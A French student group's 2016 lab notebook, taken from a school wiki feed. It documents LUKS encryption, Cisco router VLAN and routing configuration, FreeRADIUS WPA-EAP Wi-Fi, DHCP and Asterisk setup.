&amp;lt;pre&amp;gt;root@Rason:/home/pifou# cryptsetup luksOpen /dev/mmcblk1p1 home&lt;br /&gt;
Saisissez la phrase secrète pour /dev/mmcblk1p1 : &lt;br /&gt;
root@Rason:/home/pifou# mkfs.ext4 /dev/mapper/home&lt;br /&gt;
mke2fs 1.42.12 (29-Aug-2014)&lt;br /&gt;
En train de créer un système de fichiers avec 3777792 4k blocs et 944704 i-noeuds.&lt;br /&gt;
UUID de système de fichiers=2c54cece-155f-44ed-b4a5-96b9429e7879&lt;br /&gt;
Superblocs de secours stockés sur les blocs : &lt;br /&gt;
	32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208&lt;br /&gt;
&lt;br /&gt;
Allocation des tables de groupe : complété                        &lt;br /&gt;
Écriture des tables d'i-noeuds : complété                        &lt;br /&gt;
Création du journal (32768 blocs) : complété&lt;br /&gt;
Écriture des superblocs et de l'information de comptabilité du système de&lt;br /&gt;
fichiers : complété&amp;lt;/pre&amp;gt;&lt;br /&gt;
On monte la partition : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Rason:/home/pifou# mount -t ext4 /dev/mapper/home /mnt/&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons écrit dans la carte SD, et nous avons démonté la partition et fermé la partition crypté: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@Rason:/# umount /mnt&lt;br /&gt;
root@Rason:/# cryptsetup luksClose home&amp;lt;/pre&amp;gt;&lt;br /&gt;
====Travail réalisé la 8e séance====&lt;br /&gt;
=====Modification routeur pour prise en charge Wifi=====&lt;br /&gt;
Nous avons du modifier la configuration de notre routeur afin de prendre en compte notre borne Wifi. Nous avons donc rajouté le BDI1 avec comme adresse de routeur 10.60.1.1. &amp;lt;br /&amp;gt;&lt;br /&gt;
Ce BDI est un peu spécial, dans la mesure où il doit pouvoir avoir accès à tous les autres BDI. Les paquets qui y transitent ne doivent donc pas être taggés par le protocole DOT1Q (protocole VLAN). C'est pourquoi, dans notre configuration, nous avons ajouté la ligne '''encapsulation untagged''', pour éviter que les paquets ne soient taggés par le numéro de VLAN.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Sécurisation Wifi par WPA-EAP=====&lt;br /&gt;
Pour cette partie, nous commençons donc à installer un serveur FreeRadius sur notre VM.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans le fichier '''users''', nous ajoutons notre login et notre mot de passe qui nous serviront à nous connecter à la borne : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; flash Cleartext-Password:=&amp;quot;reverse&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans le fichier '''clients.conf''', nous ajoutons la configuration de la borne de la E306 :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; client E306 {&lt;br /&gt;
	ipaddr		= 10.60.1.2&lt;br /&gt;
	secret		= password&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, on passe à la configuration de la borne Wifi. On se connecte en telnet via '''telnet 10.60.1.2''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;aaa authentication login eap_flash group radius_flash&lt;br /&gt;
radius-server host 193.48.57.165 auth-port 1812 acct-port 1813 key kadoc&lt;br /&gt;
aaa group server radius radius_flash&lt;br /&gt;
server 193.48.57.165 auth-port 1812 acct-port 1813&lt;br /&gt;
&lt;br /&gt;
dot11 ssid SSID_FLASH&lt;br /&gt;
vlan 6&lt;br /&gt;
authentication open eap eap_flash&lt;br /&gt;
authentication network-eap eap_flash&lt;br /&gt;
authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 6 mode ciphers aes-ccm tkip&lt;br /&gt;
ssid SSID_FLASH&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
no ip route-cache&lt;br /&gt;
bridge-group 6&lt;br /&gt;
bridge-group 6 subscriber-loop-control&lt;br /&gt;
bridge-group 6 spanning-disabled&lt;br /&gt;
bridge-group 6 block-unknown-source&lt;br /&gt;
no bridge-group 6 source-learning&lt;br /&gt;
no bridge-group 6 unicast-flooding &lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.6&lt;br /&gt;
encapsulation dot1Q 6&lt;br /&gt;
bridge-group 6&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant configurer l'interface wlan0 de notre eeePc pour pouvoir se connecter à la borne. Comme nous n'avons pas encore de serveur DHCP, nous devons la configurer manuellement, en prenant une adresse dans notre VLAN :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;auto wlan0&lt;br /&gt;
iface wlan0 inet static&lt;br /&gt;
  address 10.60.6.6&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
  gateway 10.60.6.1&lt;br /&gt;
  wpa-ssid SSID_FLASH&lt;br /&gt;
  wpa-key-mgmt WPA-EAP&lt;br /&gt;
  wpa-identity flash&lt;br /&gt;
  wpa-password reverse&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous pouvons lancer notre serveur FreeRadius en mode debug via '''freeradius -X'''. &amp;lt;br /&amp;gt;&lt;br /&gt;
On arrive bien à détecter notre SSID (SSID_FLASH) via un smartphone, et nous arrivons à ping notre eeePc depuis la machine virtuelle .&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.6&lt;br /&gt;
PING 10.60.6.6 (10.60.6.6) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=1 ttl=63 time=8.03 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=2 ttl=63 time=13.2 ms&lt;br /&gt;
64 bytes from 10.60.6.6: icmp_seq=3 ttl=63 time=3.42 ms&amp;lt;/pre&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
====Travail réalisé la 9e séance====&lt;br /&gt;
=====Serveur DHCP=====&lt;br /&gt;
Nous avons installé le paquet '''isc-dhcp-server'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous avons modifié le fichier de configuration du serveur DHCP''' /etc/dhcp/dhcpd.conf''':&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;option domain-name &amp;quot;speedflash.space&amp;quot;;&lt;br /&gt;
option domain-name-servers 193.48.57.165;&lt;br /&gt;
&lt;br /&gt;
subnet 10.60.6.0 netmask 255.255.255.0 {&lt;br /&gt;
      range 10.60.6.10 10.60.6.40;&lt;br /&gt;
      option routers 10.60.6.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite modifié le fichier '''/etc/default/isc-dhcp-server''' pour y ajouter wlan0 comme interface à prendre en compte.&lt;br /&gt;
Nous avons redémarré le serveur en lançant '''service isc-dhcp-server restart'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
En se connectant avec un smartphone en DHCP, nous arrivons à avoir une adresse IP : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:DHCP iphone.png || center || 350px]] &amp;lt;br /&amp;gt;&lt;br /&gt;
et nous arrivons à la pinger depuis la machine virtuelle.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;root@Flash:~# ping 10.60.6.10&lt;br /&gt;
PING 10.60.6.10 (10.60.6.10) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=1 ttl=63 time=81.8 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=2 ttl=63 time=132 ms&lt;br /&gt;
64 bytes from 10.60.6.10: icmp_seq=3 ttl=63 time=69.4 ms&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====PCBX=====&lt;br /&gt;
Nous avons modifiés le fichier sip.conf :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[general]&lt;br /&gt;
hasvoicemail=yes&lt;br /&gt;
hassip=yes&lt;br /&gt;
hasiax=yes&lt;br /&gt;
callwaiting=yes&lt;br /&gt;
threewaycalling=yes&lt;br /&gt;
callwaitingcallerid=yes&lt;br /&gt;
transfer=yes&lt;br /&gt;
canpark=yes&lt;br /&gt;
cancallforward=yes&lt;br /&gt;
callreturn=yes&lt;br /&gt;
callgroup=1&lt;br /&gt;
pickupgroup=1&lt;br /&gt;
nat=yes&lt;br /&gt;
&lt;br /&gt;
[6001]&lt;br /&gt;
type=friend&lt;br /&gt;
host=dynamic&lt;br /&gt;
dtmfmode=rfc2833&lt;br /&gt;
disallow=all&lt;br /&gt;
allow=ulaw&lt;br /&gt;
fullname=ThomasStephane&lt;br /&gt;
username=trojSmaia&lt;br /&gt;
secret=secret&lt;br /&gt;
context=work&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Puis, nous avons modifiés le fichier /etc/asterisk/extensions.conf pour ajouter le contexte work à notre PCBX:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;[work]&lt;br /&gt;
exten=&amp;gt;_6XXX,1,Dial(SIP/${EXTEN},20)&lt;br /&gt;
exten =&amp;gt; _6XXX,2,Hangup()&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous n'avons pas encore testé cette solution.&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36012</id>
		<title>Cahier 2016 groupe n°5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Cahier_2016_groupe_n%C2%B05&amp;diff=36012"/>
				<updated>2016-12-14T09:51:23Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Répartition du travail */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cahier des charges ==&lt;br /&gt;
=== Présentation du travail ===&lt;br /&gt;
&lt;br /&gt;
==== Répartition du travail ====&lt;br /&gt;
&lt;br /&gt;
 {| class=&amp;quot;wikitable alternance centre&amp;quot;&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 1 (03/10)&lt;br /&gt;
 | Recherche sur le routeur 4331. Installation de la machine virtuelle, définition de l'architecture réseau. &lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 2 (10/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |- &lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 3 (13/10)&lt;br /&gt;
 | Création des VLAN - Bridge&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 4 (24/10)&lt;br /&gt;
 | Test de la configuration locale&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 5 (07/11)&lt;br /&gt;
 | Configuration OSPF - Configuration locale IPv6 - Configuration RIP - Configuration VRRP - Cassage de clé WEP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 6 (17/11 - additionnel)&lt;br /&gt;
 | Protocole HSRP - Cassage de clé WPA - Configuration DNS - Securisation de site par SSL - Securisation de DNS par DNSSEC - LVM&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 7 (28/11)&lt;br /&gt;
 | RAID5 - Cryptage de données&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 8 (additionnel - 7-8/12/2016)&lt;br /&gt;
 | Modification configuration routeur pour prise en charge Wifi - Sécurisation Wifi par WPA-EAP&lt;br /&gt;
 |-&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance 9 (12/12)&lt;br /&gt;
 | Configuration DHCP - PCBX&lt;br /&gt;
 | -&lt;br /&gt;
 ! scope=&amp;quot;row&amp;quot; | Séance additionnelle (14/12/2016)&lt;br /&gt;
 | Configuration PCBX&lt;br /&gt;
 |-&lt;br /&gt;
 |}&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 1ère séance ====&lt;br /&gt;
&lt;br /&gt;
Pour cette première séance nous avons d'abord installé la machine virtuelle Xen grâce à la commande :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
xen-create-image --hostname=Flash --ip=193.48.57.165 --netmask=255.255.255.240 gateway=193.48.57.171 &lt;br /&gt;
--dir=/usr/local/xen --mirror=http://debian.polytech-lille.fr/debian/ --dist=jessie --passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous obtenons ce résultat:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  Flash&lt;br /&gt;
Distribution    :  jessie&lt;br /&gt;
MAC Address     :  00:16:3E:49:8F:E5&lt;br /&gt;
IP Address(es)  :  193.48.57.165 &lt;br /&gt;
RSA Fingerprint :  5c:89:1c:49:cf:d1:a0:a3:9b:ff:0c:d1:f7:33:82:db&lt;br /&gt;
Root Password   :  N/A&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Travail réalisé la 2e et 3e séance (2 séances) ====&lt;br /&gt;
Durant cette semaine, nous avons réalisés la configuration locale du routeur (configuration des VLANs). &amp;lt;br /&amp;gt;&lt;br /&gt;
Comme le 4331 est une nouvelle génération de routeur encore non utilisée en TP de PRA, nous devons apprendre comment l'utiliser.&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Configuration générale=====&lt;br /&gt;
Communication: '''Série 9800 Bauds 8 bits sans parité sans contrôle de flux'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lors de sa première mise en route, nous devons effectuer sa configuration générale :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; hostname cisco config hostname&lt;br /&gt;
 enable secret reverse &amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis ensuite, nous pouvons passer à la configuration des VALNs.&lt;br /&gt;
=====Configuration des VLANs =====&lt;br /&gt;
Nous avons 12 VLANs à configurer :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 11 VLANs (2-11) : VLAN correspondant aux différents groupes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (12) : VLAN des Machines virtuelles. Permet la communication entre Cordouan et les Commutateurs&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; 1 VLAN (13) : VLAN d'interconnexion. Permet la communication entre le routeur local et le routeur de l'école&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
Sur l'interface physique du 4331, il y a 3 interfaces:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/0 : disponible en cuivre et en fibre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/1: disponible en cuivre&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Gi 0/0/2: disponible en fibre&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons connecter notre routeur aux 2 commutateurs 6006 prévus dans l'architecture du TP. Pour cela, il faut que les 2 commutateurs aient les mêmes informations. Pour cela, nous devons créer des '''bridge-domain'''. Des bridge-domain permettent de rassembler 2 sous interfaces de 2 interfaces différentes pour qu'elles aient la même IP. L'interface principale n'aura pas d'adresse IP, les sous interfaces non plus, l'adresse IP sera placé sur le bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Exemple: '''VLAN2 : Gi 0/0/0.2 et Gi 0/0/1.2 seront dans le même bridge-domain 2'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les 4331 étant une nouvelle génération de routeur encore non testée à l'école, il fallait apprendre à s'en servir.&amp;lt;br /&amp;gt;&lt;br /&gt;
La plupart des commandes CISCO de base restent inchangées. Cependant, la création des sous interfaces a changée. Avant, nous devions créer des interfaces comme suit:&lt;br /&gt;
&amp;lt;pre&amp;gt; interface GigabitEthernet 0/0/0.X &amp;lt;/pre&amp;gt;&lt;br /&gt;
Avec le nouvel IOS (IOS ISR), nous ne pouvons pas créer des sous interfaces comme ci-dessus dans le but de les mettre dans un bridge.&lt;br /&gt;
Nous devons passer par une nouvelle commande qui s'appelle '''service instance''' :&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi 0/0/0&lt;br /&gt;
 service instance &amp;lt;n°VLAN&amp;gt; ethernet &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nous avons la sous interface numéro 2 de l'interface principale 0/0/0.&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons alors créer nous sous interfaces:&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/0&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
&lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
    encapsulation dot1q 3&lt;br /&gt;
    bridge-domain 3&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; int gi0/0/1&lt;br /&gt;
  no ip address&lt;br /&gt;
  negociation auto&lt;br /&gt;
  service instance 2 ethernet&lt;br /&gt;
    encapsulation dot1q 2&lt;br /&gt;
    bridge-domain 2&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ainsi, nos sous interfaces sont crées et sont placés dans les différents bridge domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Configuration des bridge-domain=====&lt;br /&gt;
Afin d'allouer des IP aux différents bridge domain, il faut prévenir le routeur que nous utilisons des bridge-domain:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge irb &amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous devons préciser quel protocole nous devons utiliser et si les adresses IP des bridge domain seront des adresses routées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt; bridge 2 protocol ieee&lt;br /&gt;
 bridge 2 route ip&amp;lt;/pre&amp;gt;&lt;br /&gt;
Enfin, nous pouvons allouer des IP aux différents bridge domain :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;int BDI2&lt;br /&gt;
  ip address 10.60.2.1 255.255.255.0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et nous répétons ces opérations pour tous les bridge-domain.&amp;lt;br /&amp;gt;&lt;br /&gt;
Afin de tester si notre configuration locale est correcte, nous devons racker notre routeur, le connecter à un des 6006, puis connecter le 6006 à Cordouan (groupe BONDING). Ainsi, nous pourrons voir si nous pouvons ping notre routeur depuis notre VM.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 4e séance====&lt;br /&gt;
=====Test 1=====&lt;br /&gt;
Cette semaine, nous avons testés la configuration locale de notre routeur. Nous avons donc tentés de ping le routeur depuis notre VM. &amp;lt;br /&amp;gt;&lt;br /&gt;
Pour tester, nous avons besoin d'un port disponible sur CORDOUAN qui est dans le bridge IMA5sc.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après des essais laborieux, nous décidons donc de regarder les adresses MAC des ports afin de les rassembler. Si 4 ports ont le même radical MAC, c'est qu'ils font partis d'un groupe de 4. Nous avons donc choisis '''eth4'''.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, il fallait trouver le port physique correspondant a eth4. '''Grâce au fichier /etc/udev/rules.d/70-persistence-net.rules''', on peut voir l'association du port physique à l'interface. Voici l'extrait qui nous intéresse: &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;# PCI device 0x14e4:0x1657 (tg3)&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:40&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth4&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:41&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth5&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:42&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth6&amp;quot;&lt;br /&gt;
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;, ATTR{address}==&amp;quot;00:0a:f7:54:36:43&amp;quot;, ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;, KERNEL==&amp;quot;eth*&amp;quot;, NAME=&amp;quot;eth7&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
On voit bien que eth4 est dans un groupe de 4 ports, ce qui restreint nos choix. Ensuite, on sait que c'est le plus petit des 4 interfaces. Logiquement, ce sera le 1er du groupe.&amp;lt;br /&amp;gt;&lt;br /&gt;
On connecte donc ce port au commutateur sur un port qui appartient au VLAN des VM. On connecte ensuite notre routeur au commutateur via un port trunk.&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Premier essai: FAIL'''&amp;lt;br /&amp;gt;&lt;br /&gt;
=====Test 2=====&lt;br /&gt;
Et là, c'est le drame ... On ne ping rien ...&amp;lt;br /&amp;gt;&lt;br /&gt;
On se demande donc d'où cela peut venir.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Première cause possible : La configuration de CORDOUAN======&lt;br /&gt;
Peut-être que c'est CORDOUAN qui est mal configuré. On se place donc sur CORDOUAN, et grâce à la commande '''cdpr''' (Cisco Discovery Protocol Reporter), on peut demander au serveur de chercher ses voisins et d'avoir la configuration de la liaison avec ce voisin. Voici le résultat de cette commande:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cdpr -d eth4&lt;br /&gt;
cdpr - Cisco Discovery Protocol Reporter&lt;br /&gt;
Version 2.4&lt;br /&gt;
Copyright (c) 2002-2010 - MonkeyMental.com&lt;br /&gt;
&lt;br /&gt;
Using Device: eth4&lt;br /&gt;
Warning opening device (eth4: no IPv4 address assigned)&lt;br /&gt;
Waiting for CDP advertisement:&lt;br /&gt;
(default config is to transmit CDP packets every 60 seconds)&lt;br /&gt;
Device ID&lt;br /&gt;
  value:  Switch_E306&lt;br /&gt;
Addresses&lt;br /&gt;
Port ID&lt;br /&gt;
  value:  GigabitEthernet4/13&amp;lt;/pre&amp;gt;&lt;br /&gt;
On voit bien que CORDOUAN détecte qu'il a une liaison avec le switch qui se trouve en E306 et qu'il est connecté via le port Gi4/13.&amp;lt;br /&amp;gt;&lt;br /&gt;
======Deuxième cause possible: Le commutateur======&lt;br /&gt;
Peut-être donc que c'est le commutateur qui est mal configuré. On se place donc sur le commutateur, et toujours grâce à la commande '''cdpr''', on peut demander au commutateur de trouver ses voisins. Le résultat de cette commande est la suivante: Le commutateur découvre bien notre routeur (cisco), et sait qu'il est connecté sur le port 4/47 (port trunk).&lt;br /&gt;
======Dernière cause possible:Le routeur======&lt;br /&gt;
On se dit donc que le problème vient du routeur...&amp;lt;br /&amp;gt;&lt;br /&gt;
On regarde donc la configuration du routeur, et Mr REDON nous demande pourquoi on n'a pas créé de VLAN. Les VLAN sont traduits par les service instance dans le nouvel IOS, mais peut-être que nous devons encore définir que les paquets venant/sortant de l'interface générale doivent être encapsulé/décapsulé en DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après quelques recherches, une première solution a été de préciser sur l'interface des bridge-domain que les paquets étaient encapsulés en DOT1Q. Solution '''peu logique''' vu que l'encapsulation est déjà faite dans les service instance.&amp;lt;br /&amp;gt;&lt;br /&gt;
Après encore quelques recherches, une solution plausible est que '''le routeur ne sait pas qu'il faut dé-encapsuler les paquets venant d'un VLAN'''. Théoriquement, il n'enlèverait pas le tag associé à l'encapsulation DOT1Q.&amp;lt;br /&amp;gt;&lt;br /&gt;
Une commande cisco à associer à TOUTES les interfaces service instance permet de préciser qu'il faut supprimer le tag associé à l'encapsulation:&lt;br /&gt;
&amp;lt;pre&amp;gt;rewrite ingress tag pop 1 symmetric&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois cette commande appliquée à tous les services, nous pouvons effectuer un test préalable : '''Nous connectons un eeePC au commutateur via un port associé au VLAN des VM. L'eeePC serait muni d'une IP dans le réseau des VM.'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Résultat '''OK'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Nous pouvons donc tenter de ping le routeur depuis la machine virtuelle :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ping 193.48.57.171&lt;br /&gt;
PING 193.48.57.171 (193.48.57.171) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=1 ttl=255 time=0.360 ms&lt;br /&gt;
64 bytes from 193.48.57.171: icmp_seq=2 ttl=255 time=0.271 ms&lt;br /&gt;
^C&lt;br /&gt;
--- 193.48.57.171 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.271/0.315/0.360/0.047 ms&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre configuration locale est donc maintenant achevée. Nous pouvons passer à la configuration de l'interconnexion ipv4 et ipv6 de l'école.&lt;br /&gt;
&lt;br /&gt;
====Travail réalisé la 5e séance====&lt;br /&gt;
=====Configuration IPv6=====&lt;br /&gt;
Nous avons donc pu commencer la configuration IPv6 de notre routeur.&amp;lt;br /&amp;gt;&lt;br /&gt;
Chaque bridge-domain aura son adresse IP dans le réseau IPv6 de l'école, avec un préfixe débutant à 2001:660:4401:60b0::/64.&amp;lt;br /&amp;gt;&lt;br /&gt;
La configuration est la suivante, pour chaque BDI:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;cisco(config)#int BDI6                                                          &lt;br /&gt;
cisco(config-if)#ipv6 address 2001:660:4401:60b4::/64 eui-64                    &lt;br /&gt;
cisco(config-if)#ipv6 nd prefix 2001:660:4401:60b4::/64 1000 900                &lt;br /&gt;
cisco(config-if)#ipv6 nd router-preference high                                 &lt;br /&gt;
cisco(config-if)#ipv6 enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration OSPF (IPv4)=====&lt;br /&gt;
Dès notre arrivée, Mr.REDON nous a dit que, pour booster le TP, il avait effectué lui-même la configuration OSPF de notre routeur. La voici:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;router ospf 1&lt;br /&gt;
 router-id 10.60.2.1&lt;br /&gt;
 summary-address 10.60.0.0 255.255.0.0&lt;br /&gt;
 summary-address 193.48.57.160 255.255.255.240&lt;br /&gt;
 redistribute connected metric 30 subnets&lt;br /&gt;
 network 192.168.222.0 0.0.0.7 area 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Configuration RIP (IPv6)=====&lt;br /&gt;
Le protocole RIPv6 est une stratégie de routage pour IPv6. Ce protocole est configuré pour le BDI130 (correspondant au VLAN130 d'interconnexion des routeurs de l'école). La configuration de RIP est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;ipv6 router rip tpima5sc&lt;br /&gt;
 redistribute connected metric 1&lt;br /&gt;
 redistribute static metric 1&lt;br /&gt;
 redistribute rip 1 metric 1&amp;lt;/pre&amp;gt;&lt;br /&gt;
La prise en compte du protocole RIP dans la BDI130 est la suivante:&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;interface BDI130&lt;br /&gt;
 ip address 192.168.222.1 255.255.255.248&lt;br /&gt;
 ipv6 address 2001:660:4401:60AA::/64 eui-64&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60AA::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 ipv6 rip tpima5sc enable&amp;lt;/pre&amp;gt;&lt;br /&gt;
